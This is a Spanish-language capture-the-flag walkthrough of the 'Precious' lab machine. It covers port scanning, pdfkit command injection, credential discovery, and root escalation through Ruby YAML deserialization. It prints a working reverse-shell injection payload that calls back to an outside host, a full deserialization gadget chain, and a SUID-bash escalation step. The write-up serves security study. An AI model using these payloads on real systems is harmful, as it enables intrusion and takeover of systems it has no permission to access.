Precios es una máquina con sistema operativo linux. Asi que se comienza a escanear los puertos.
$ sudo nmap -sV -Pn -A -O -oN precious 10.10.11.189
Starting Nmap
Nmap scan report for 10.10.11.189
Host is up (0.29s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Ahora se agrega precious.htb con la IP al archivo /etc/hosts.
Luego yendo http://precious.htb/, desde el navegador se encuentra con esto.
Es un convertidor de páginas a PDF, al revisar el código fuente, algún parámetro extraño en la petición u otras rutas no se encontró nada. Asi con el buen burp suit, en modo interceptor para averiguar algo, pero fue infructuoso. Después se puso a correr un servicio web con Python y pasarla a la aplicación.
$ python3 -m http.server 80
Al ingresarla, lista los archivos que esten igual o por debajo de la gerarquia de archivos donde se genero el servicio web.
Se descarga el archivo y se comprobo el tipo de archivo y con exiftool para examinar las propiedades del archivo descargado.
$ exiftool {name}.pdf
...
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
Se busca una vulnerabilidad para pdfkit, por suerte se encontró una vulnerabilidad de command injection, asi que se explota esa vulnerabilidad.
Al verificar que se puede inyectar código dentro de la petición, se envía una reverse shell y paralelamente se abre un puerto de escucha en una terminal.
$ nc -lvnp 4567
listening on [any] 4567 ...
http://10.10.16.11:80/?name=%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.16.11",4567))'`
Seguido identificar el id, se explora algunos directorios.
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
ls -la
total 36
drwxr-xr-x 6 root root 4096 Oct 26 08:28 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 app
drwxr-xr-x 2 root ruby 4096 Oct 26 08:28 config
-rw-r--r-- 1 root ruby 59 Sep 10 09:46 config.ru
-rw-r--r-- 1 root ruby 99 Sep 17 14:17 Gemfile
-rw-r--r-- 1 root ruby 478 Sep 26 05:04 Gemfile.lock
drwxrwxr-x 2 root ruby 4096 Feb 25 15:52 pdf
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 public
ls config
environment.rb
cat config/environment.rb
require 'bundler/setup'
APP_ENV = ENV["RACK_ENV"] || "development"
Bundler.require :default, APP_ENV.to_sym
require 'rubygems'
require 'bundler'
require_rel '../app'
cd /home
ls
henry
ruby
Al llegar a este punto se encontró el flag de usuario, pero no se tiene permiso porque le pertenece a otro usuario.
ls -la
total 28
drwxr-xr-x 4 ruby ruby 4096 Feb 25 15:47 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root 9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 3 ruby ruby 4096 Feb 25 15:47 .cache
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
cd .bundle
ls
config
ls -la
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .
drwxr-xr-x 4 ruby ruby 4096 Feb 25 15:47 ..
-r-xr-xr-x 1 root ruby 62 Sep 26 05:04 config
cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:***************YFH"
Después de esto se puede pivotar a la cuenta de henry con el comando "su henry " y su respectiva contraseña, entonces ya se podrá obtener el flag de usuario. Ahora se verifica si este usuario tiene algún permiso con permiso root.
sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
Al ver este script se puede vislumbrar un método YAML.load() es vulnerable a Blind Remote Code Execution through YAML Deserialization. Se reescribe el archivo dependencies.yml que se encuentra en el homespace de henry, para probar que funciona con lo siguiente y posteriormente a ejecutar el programa con "sudo /usr/bin/ruby /opt/update_dependencies.rb".
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
Ahora es ya comprobado que funciona, es hora de modificarlo un poco, en la sección "git_set: id", se cambiara por "git_set: chmod u+s /bin/bash", cambiando los permisos a bash. Para finalizar solo es ejecutar el comando "bash -p", verificar los permisos de root y conseguir el flag de root.